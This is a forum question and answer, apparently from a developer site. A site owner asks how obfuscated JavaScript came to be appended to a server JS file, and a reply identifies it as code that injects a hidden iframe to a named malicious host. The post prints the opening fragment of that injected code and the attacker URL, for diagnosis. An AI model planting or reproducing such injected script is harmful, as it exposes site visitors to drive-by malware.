In my website I found some javascript codes in js file at the end which I never added on server while js file doesn’t have write permission to the user.
Any idea about the possibility how this file was changed and code added in this and how to protect website on server for such attempts.
This is a part of the javascript code which I don’t know how it got added to my file.
var RPTj='hYUw';function HCLac(){}
if('hikbf'=='gloCBh')hnwT='BtbByu';var efIc;function ovPvyr(){var GcFza='sLHwL';if('jPslJ'=='WfPs')FgTgr();}
var px0_var="0\x70x";function yefdV(){var MZIWif='pFeEIR';if('Oqoi'=='jcEyCx')YXCIxm();}
var WxTv;var JJfPP="f\x72\x6fm\x43harCode";function MnFGT(){var WcZW='mpjU';if('GQike'=='hfiFQm')aSNa();}
var LusRYV="";if('KSCVlW'=='ZHLn')fCxfd='nkVIX';if('rGsiG'=='uRdOG')bgTeVq();function NmGQl(){}
Googling one of the tokens leads to this report. It seems your code is the beginning of that code. What the full code appears to do is to insert a hidden iframe pointing to
http://snap3.myvnc.com/58583911.html.The full code formatted:
As for your quest to determine how it happened, the server logs would be a place to start if you have access to them.